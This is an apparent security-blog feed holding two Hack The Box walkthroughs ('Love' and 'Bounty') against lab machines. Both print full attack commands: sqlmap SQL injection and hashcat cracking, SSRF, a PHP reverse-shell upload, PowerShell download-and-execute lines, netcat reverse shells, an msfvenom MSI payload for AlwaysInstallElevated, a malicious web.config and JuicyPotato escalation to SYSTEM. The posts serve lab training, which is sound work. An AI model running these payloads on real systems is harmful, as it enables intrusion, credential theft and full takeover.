The parameter voter is vulnerable to time-based blind sql injection. Other parameters, password and login are not injectable. Blind sql injection is very similar to normal sql injections where the only difference is you do not see the output of the sql query. It makes it more difficult than the normal sql injection. You can find more info from the OWASP Blind SQL Injection web page if you are not familiar with it.

We dump the whole database.

┌──(root㉿kali)-[~/love]
└─# sqlmap -r req.txt --level=2 --dump    

[*] starting @ 13:32:14 /2024-03-18/

[REDACTED]

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: voter (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: voter=1234' AND (SELECT 1042 FROM (SELECT(SLEEP(5)))iTMK) AND 'KLQe'='KLQe&password=testpass&login=
---
[REDACTED]
Database: votesystem
Table: admin
[1 entry]
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+
| id | photo                       | lastname | password                                                     | username | firstname | created_on |
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+
| 1  | facebook-profile-image.jpeg | Devierte | $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC | admin    | Neovic    | 2018-04-02 |
+----+-----------------------------+----------+--------------------------------------------------------------+----------+-----------+------------+

[REDACTED]

Database: votesystem
Table: voters
[0 entries]
+----+-----------+-------+----------+----------+-----------+
| id | voters_id | photo | lastname | password | firstname |
+----+-----------+-------+----------+----------+-----------+
+----+-----------+-------+----------+----------+-----------+

[REDACTED]

Database: votesystem
Table: positions
[0 entries]
+----+----------+----------+-------------+
| id | max_vote | priority | description |
+----+----------+----------+-------------+
+----+----------+----------+-------------+

[REDACTED]


Database: votesystem
Table: votes
[0 entries]
+----+-----------+-------------+--------------+
| id | voters_id | position_id | candidate_id |
+----+-----------+-------------+--------------+
+----+-----------+-------------+--------------+

[REDACTED]

Database: votesystem
Table: candidates
[0 entries]
+----+-------------+-------+----------+----------+-----------+
| id | position_id | photo | lastname | platform | firstname |
+----+-------------+-------+----------+----------+-----------+
+----+-------------+-------+----------+----------+-----------+

[*] ending @ 14:08:43 /2024-03-18/

It took about ~40 minutes to finish. There is only single entry in the entire database. Which is an admin user and hashed password.

admin:$2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC

I brute-force this hash with rockyou wordlist which has a total of 14344392 entries.

I tried to break this with a AMD Ryzen 7 5700G Radeon Graphics 3.80 GHz CPU. The estimated finish time was (1 day, 20 hours).

C:\Users\user\Desktop\hashcat-6.2.6>hashcat.exe -m 3200 ..\hashes\love-hash.txt rockyou.txt
hashcat (v6.2.6) starting

* Device #1: AMD Radeon(TM) Graphics, 13408/26896 MB (9690 MB allocatable), 8MCU

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQx...utFjsC
Time.Started.....: Mon Mar 18 20:58:56 2024 (32 secs)
Time.Estimated...: Wed Mar 20 16:59:29 2024 (1 day, 20 hours)   <<<===== TIME REQUIRED
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       91 H/s (10.65ms) @ Accel:2 Loops:8 Thr:8 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 2816/14344385 (0.02%)
Rejected.........: 0/2816 (0.00%)
Restore.Point....: 2816/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:376-384
Candidate.Engine.: Device Generator
Candidates.#1....: pirate -> pumas
Hardware.Mon.#1..: Util: 99% Core:2000MHz Mem:1600MHz Bus:16

I tried to break the same hash with my gaming computer which has a Nvidia GTX 4070ti GPU and it took ~1 hour. The true evidence of the power of GPUs and parallel computing.

C:\Users\user\Desktop\hashcat-6.2.6>hashcat.exe -m 3200 ..\hashes\love-hash.txt rockyou.txt --potfile-disable
hashcat (v6.2.6) starting

CUDA API (CUDA 12.4)
====================
* Device #1: NVIDIA GeForce RTX 4070 Ti, 11038/12281 MB, 60MCU

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQx...utFjsC
Time.Started.....: Wed Mar 20 21:37:00 2024 (2 secs)
Time.Estimated...: Wed Mar 20 22:44:42 2024 (1 hour, 7 mins)    <<<===== TIME REQUIRED
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     3531 H/s (6.20ms) @ Accel:1 Loops:16 Thr:24 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 7200/14344385 (0.05%)
Rejected.........: 0/7200 (0.00%)
Restore.Point....: 7200/14344385 (0.05%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:864-880
Candidate.Engine.: Device Generator
Candidates.#1....: danutza -> brigitte
Hardware.Mon.#1..: Temp: 45c Fan:  0% Util: 98% Core:2820MHz Mem:10251MHz Bus:16

No results from the whole thing. The hash was a bcrypt hash, which uses an encryption algorithm called blowfish block cipher to hash the user passwords. It is a default hashing algorithm for linux-based operating systems. Hashes in the /etc/shadow file are this type of hashes. This hash is apparently very resistant to brute-force attacks. Sadly it was a wasted ~4 hours of effort including enumeration, blind injection and brute forcing.

staging.love.htb

We move on to the staging.love.htb url. I was not able to find this subdomain first. To find it with enumeration, there are some things you can do.

  • Nmap scan shows this subdomain as a common name.
  • Port 443 is open, so something should be served through https. Browse to https://love.htb and view certificate, it shows the subdomain.

Add sub domain to the etc hosts file and visit the website. It looks like it is a file scanner application which scans for the files on the given URL. To test the service we fire up a simple http server with python and use our attack machine IP to scan. Remember our IP was 10.10.16.9 on HTB’s internal network.

┌──(root㉿kali)-[~/PREP/HTB/forest]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

It shows files on the server. We can scan for a single file too. I tried to scan a .php reverse shell but it did not work as I intended.

How does this service work then? I try my best to explain it. We send a request to the server, then server sends another request to an URL we requested. Which means, we can trick the server to scan PC’s from internal server those are inaccessible from outside. This vulnerability is called Server-Side Request Forgery (SSRF).

In our test case we provide our URL. Above diagram turns into this.

To exploit the machine, we direct it to scan itself by providing http://127.0.0.1:5000. Which looks like this in a diagram.

Machine targets itself and the port 5000 (which is previously unreachable by us) shows a credential stored on the server.

We found the password @LoveIsInTheAir!!!! . Previously encountered bcrypt hash is the hash of this password.

C:\Users\user\Desktop\hashcat-6.2.6>hashcat.exe -m 3200 ..\hashes\love-hash.txt rockyou.txt --show
$2y$10$4E3VVe2PWlTMejquTmMD6.Og9RmmFN.K5A1n99kHNdQxHePutFjsC:@LoveIsInTheAir!!!!

If you want to automate this SSRF vulnerability. You can use the below ffuf command. Full structure of the request can be captured by using burpsuite or browser’s developer tools.

┌──(root㉿kali)-[~/love]
└─# ffuf -u http://staging.love.htb/beta.php -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/local-ports.txt -X POST -d "file=http://FUZZ&read=Scan+file" -fw 1248 -H "Content-Type: application/x-www-form-urlencoded" 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://staging.love.htb/beta.php
 :: Wordlist         : FUZZ: /usr/share/seclists/SecLists-master/Discovery/Web-Content/local-ports.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : file=http://FUZZ&read=Scan+file
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 1248
________________________________________________
[Status: 200, Size: 9385, Words: 1901, Lines: 337, Duration: 64ms]    * FUZZ: 127.0.0.1:80
[Status: 200, Size: 5466, Words: 1296, Lines: 224, Duration: 117ms]   * FUZZ: 127.0.0.1:443
[Status: 200, Size: 9591, Words: 2385, Lines: 411, Duration: 66ms]    * FUZZ: 127.0.0.1:5000
[Status: 200, Size: 5312, Words: 1266, Lines: 218, Duration: 61ms]    * FUZZ: 127.0.0.1:5985
[Status: 200, Size: 5312, Words: 1266, Lines: 218, Duration: 65ms]    * FUZZ: 127.0.0.1:47001


:: Progress: [65535/65535] :: Job [1/1] :: 17 req/sec :: Duration: [1:03:58] :: Errors: 9 ::

It took almost ~1 hour to scan all local ports and we could not find any notable ports.

The only thing we did not do is directory discovery. My favorite tool for fuzzing is ffuf. We use lowercase wordlist because it is a Windows machine. Directory busting let us to various points.

┌──(root㉿kali)-[~/love]
└─# ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://love.htb/FUZZ -fs 298

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://love.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 298
________________________________________________
[REDACTED]
[Status: 301, Size: 330, Words: 22, Lines: 10, Duration: 124ms]  * FUZZ: images
[Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 61ms]   * FUZZ: admin
[Status: 301, Size: 331, Words: 22, Lines: 10, Duration: 85ms]   * FUZZ: plugins
[Status: 301, Size: 332, Words: 22, Lines: 10, Duration: 66ms]   * FUZZ: includes
[Status: 301, Size: 328, Words: 22, Lines: 10, Duration: 67ms]   * FUZZ: dist
[Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 74ms]   * FUZZ: licenses

:: Progress: [207643/207643] :: Job [1/1] :: 492 req/sec :: Duration: [0:06:03] :: Errors: 0 ::

We navigate to http://love.htb/admin/ and login with the credentials we found. A dashboard welcomes us.

At this point, if you search exploits for this voting CMS, you will find various tools for RCE to exploit this CMS. However, we’ll do it manually in this walktrough. Enumerate the application and you will find we can update our profile photo, which means we upload something to the webserver and server parses it.

We forge a malicious .php file so that web server would run it and upload it to the server. I use reverse shell in the https://github.com/ivan-sincek/php-reverse-shell/tree/master. Which works quite well with windows machines. Do not forget to change the host address and port number.

$sh = new Shell('10.10.16.9', 9001);

Setup a netcat listener and upload the .php file. We got the initial foothold onto the machine.

┌──(root㉿kali)-[/]
└─# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.239] 51334
SOCKET: Shell has connected! PID: 1908
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>cd C:\Users\Phoebe\Desktop

C:\Users\Phoebe\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Phoebe\Desktop

04/13/2021  03:20 AM    <DIR>          .
04/13/2021  03:20 AM    <DIR>          ..
03/19/2024  12:23 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,971,776,512 bytes free

C:\Users\Phoebe\Desktop>type user.txt
0d11e2e046417949****************

C:\Users\Phoebe\Desktop>

Privilege Escalation

After getting the flag, I upload a Nishang powershell reverse shell Invoke-PowerShellTcp.ps1. It is just because I like using it. You may skip this process. We add the following file to the end of the powershell script to immediate execution.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.9 -Port 9002

Fire up a netcat listener and run IEX download and execute command.

C:\temp>cmd /c powershell IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.16.9/Invoke-PowerShellTcp.ps1')

We get the powershell with the same user again.

┌──(root㉿kali)-[~/love]
└─# nc -nvlp 9002  
listening on [any] 9002 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.239] 51338
Windows PowerShell running as user Phoebe on LOVE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\temp>
PS C:\temp>

For the privilege escalation, I use winpeas automated script to enumerate the machine. Download the executable and run it. You need to be in a directory where you have right permission to download the file.

PS C:\temp> (New-Object System.Net.WebClient).DownloadFile('http://10.10.16.9/winpeas.exe', 'C:\temp\winpeas.exe')
PS C:\temp> dir

    Directory: C:\temp

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-a----         3/19/2024   7:08 AM        2028544 winpeas.exe                                                          

PS C:\temp> .\winpeas.exe

[REDACTED]
???????????? Checking AlwaysInstallElevated
?  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!
[REDACTED]

AlwaysInstallElevated is enabled, which means, if we install a .msi file, it is run and installed as administrator. AlwaysInstallElevated feature is related to the following two registry keys

  • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

You can manually enumerate these registry keys with the following commands

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

In order to exploit this, we forge a malicious .msi file using msfvenom.

┌──(root㉿kali)-[~/love]
└─# msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.16.9 lport=9003 -f msi -o rev.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: rev.msi

Download the malicious .msi file to the machine, fire up another netcat listener and run the .msi file. (/qn: quiet & no gui)

PS C:\temp> (New-Object System.Net.WebClient).DownloadFile('http://10.10.16.9/rev.msi', 'C:\temp\rev.msi')
PS C:\temp> 
PS C:\temp> msiexec /quiet /qn /i rev.msi

Listener on attack machine

┌──(root㉿kali)-[~/love]
└─# nc -nvlp 9003
listening on [any] 9003 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.239] 51341
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami /all
whoami /all

USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

[REDACTED]

We get the administrator user. Get the flag.

C:\Users\Administrator>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Administrator\Desktop

04/13/2021  03:20 AM    <DIR>          .
04/13/2021  03:20 AM    <DIR>          ..
03/19/2024  12:23 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,941,138,432 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
814cec62b5eea063****************

C:\Users\Administrator\Desktop>

Conclusion & Comments

This was the most fun box that I ever solved on the HTB. It is a solid easy box in my opinion. It demonstrates SSRF in a quite simple and good way. Attacker should chain two different vulnerability to get the initial foothold and a generic path for the privilege escalation part. At first I was not able to find the staging subdomain, I should be much more careful while analyzing nmap results. I am not sure if the blind-SQL injection part is intentionally added to the box or not. However it did not lead to anywhere and I spent a quite good time while enumerating and exploiting the SQL injection and brute-forcing. Moreover, it is always fun to forge custom reverse shells.

You never know what comes out from winpeas.

Other Notable Resources

The post Hack The Box – Love Walkthrough first appeared on CSEC Blog.

]]>
https://akcoren.com/hack-the-box-love-walkthrough/feed/ 0
Hack The Box – Bounty Walkthrough https://akcoren.com/hack-the-box-bounty/?utm_source=rss&utm_medium=rss&utm_campaign=hack-the-box-bounty https://akcoren.com/hack-the-box-bounty/#respond Sun, 10 Mar 2024 19:07:09 +0000 https://akcoren.com/?p=941 Bounty is a Easy machine from Hack The Box. This post shows solution with detailed walkthrough. Initial foothold and escalation paths.

The post Hack The Box – Bounty Walkthrough first appeared on CSEC Blog.

]]>
Hack The Box bounty machine title picture

Overview

This overview shows the direct path to the solution of the Hack The Box – Bounty box without giving the commands or tools used in the solution. There is an ISS webserver running on the machine which has a insecure file upload vulnerability. User flag is there, it is just hidden. For the privilege escalation, a specific user privilege is exploited, one of the most famous one.

This machine is listed in the TJ Null’s OSCP preperation list.

Detailed Walkthrough

My IP: 10.10.16.9

Machine IP: 10.10.10.93

Machine Link: https://app.hackthebox.com/machines/142

Initial Foothold

Start with default nmap scan

┌──(root㉿kali)-[~/PREP/HTB/bounty]
└─# nmap -sC -sV -p- -Pn 10.10.10.93 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-15 13:52 EST
Nmap scan report for 10.10.10.93
Host is up (0.083s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Bounty
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Single port is open. ISS is running on port 80. Version 7.5 indicates it is either a Windows 7 or Windows Server 2008. Check the versions from here.

Landing page of the webserver. There is nothing to interact and nothing suspicious in the source code either.

We have nothing to do, so it is a good time for directory discovery. My favorite tool for webserver brute-forcing is FFUF.

┌──(root㉿kali)-[~/PREP/HTB/bounty]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt:FUZZ -u http://bounty.htb/FUZZ -e ".asp,.aspx,.php,.config"
[REDACTED]
transfer.aspx           [Status: 200, Size: 941, Words: 89, Lines: 22, Duration: 182ms]
uploadedfiles           [Status: 301, Size: 155, Words: 9, Lines: 2, Duration: 181ms]
[REDACTED]

We found what we need to solve this box. However, since this is a ISS Webserver, you may want use a ISS common directories wordlist. Findings were unimportant but. You can discover these directories by running consecutively or recursively with the wordlist.

┌──(root㉿kali)-[~/PREP/HTB/bounty]
└─# ffuf -w ~/PREP/HTB/bounty/iss-webserver-common-directories.txt:FUZZ -u http://bounty.htb/aspnet_client/system_web/FUZZ 
[REDACTED]
2_0_50727               [Status: 301, Size: 176, Words: 9, Lines: 2, Duration: 121ms]
2_0_50727/              [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 121ms]
:: Progress: [1305/1305] :: Job [1/1] :: 369 req/sec :: Duration: [0:00:04] :: Errors: 1 ::
[REDACTED]

This webserver only accepts image files. It checks only file extensions, and there is no way to upload other than .png and .jpg files. After some research, I found there is an upload config vulnerability in IIS web servers. We upload a file named `web.config` with a reverse shell. For the reverse shell I used Nishang’s Invoke-PowerShellTCP.ps1. I fire up a simple http server with python to serve the reverse shell and upload the below config file.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
          <hiddenSegments>
            <remove segment="web.config" />
          </hiddenSegments>
       </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<!--
<%
Set obj = CreateObject("WScript.Shell")
obj.Exec("cmd /c powershell IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.16.9/Invoke-PowerShellTcp.ps1')")
%>
-->

I added the below line at the end of the Invoke-PowerShellTCP.ps1 file to immediate execution.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.9 -Port 4444

Take a look at these resources also for the reverse shells inside web config files.

Please note that, user.txt file is a hidden file and it cannot be seen with regular dir command.

C:\Users\merlin\Desktop>dir /ah
 Volume in drive C has no label.
 Volume Serial Number is 5084-30B0

 Directory of C:\Users\merlin\Desktop

05/29/2018  11:22 PM               282 desktop.ini
02/15/2024  08:45 PM                34 user.txt
               2 File(s)            316 bytes
               0 Dir(s)  11,575,607,296 bytes free


C:\Users\merlin\Desktop>type user.txt
type user.txt
077e556b4a931353****************

Privilege Escalation

After the initial foothold. With basic enumeration we realize that we can use potato attacks. This can be also discovered by automated tools too.

PS C:\Users\merlin> whoami /all

USER INFORMATION
----------------

User Name     SID                                           
============= ==============================================
bounty\merlin S-1-5-21-2239012103-4222820348-3209614936-1000

[REDACTED]

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
PS C:\Users\merlin> cd ..
PS C:\Users> dir

[REDACTED]

I switched to cmd at this point, since I feel more comfortable with it. However, this exact operation can be done with powershell too.

PS C:\temp> (New-Object System.Net.WebClient).DownloadFile('http://10.10.16.9/nc.exe', 'C:\temp\nc.exe')
PS C:\temp> .\nc.exe 10.10.16.9 9000 -e cmd.exe

Then upload JuicyPotato attack and get the System Authority. Check here for detailed information about Potato Attacks. CLSID list here.

C:\temp>certutil -urlcache -f http://10.10.16.9/juicy.exe juicy.exe
certutil -urlcache -f http://10.10.16.9/juicy.exe juicy.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

C:\temp>juicy.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\temp\nc.exe -e cmd.exe 10.10.16.9 9001" -t *
juicy.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\temp\nc.exe -e cmd.exe 10.10.16.9 9001" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

Get Administrator shell on the listener.

┌──(root㉿kali)-[~/PREP/HTB/bounty]
└─# nc -nvlp 9001                                    
listening on [any] 9001 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.93] 49170
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

C:\Users\Administrator\Desktop>type root.txt
type root.txt
f801144e9492d081****************

Conclusion & Comments

This was a fun box. I was not aware of the web.config file upload vulnerability of ISS webservers. It took almost one day for me to find this vulnerability. I tried to upload a malicious image file which contains php reverse shell, meterpreter shells with .asp and .aspx files, and various combinations of those with .jpg and .png files. I also modify the magic bytes and file extensions. None of them worked properly. Also, I know there are hidden files in Windows too, but I realized that, I have not used a command like \dir /ah in a windows machine for hidden files. For the privilege escalation part, it was quite easy. If a box is couple years old and windows, just throw potato attacks to them, it should work most of the time.

You never know when do you need Nishang.

Other Notable Resources

The post Hack The Box – Bounty Walkthrough first appeared on CSEC Blog.

]]>
https://akcoren.com/hack-the-box-bounty/feed/ 0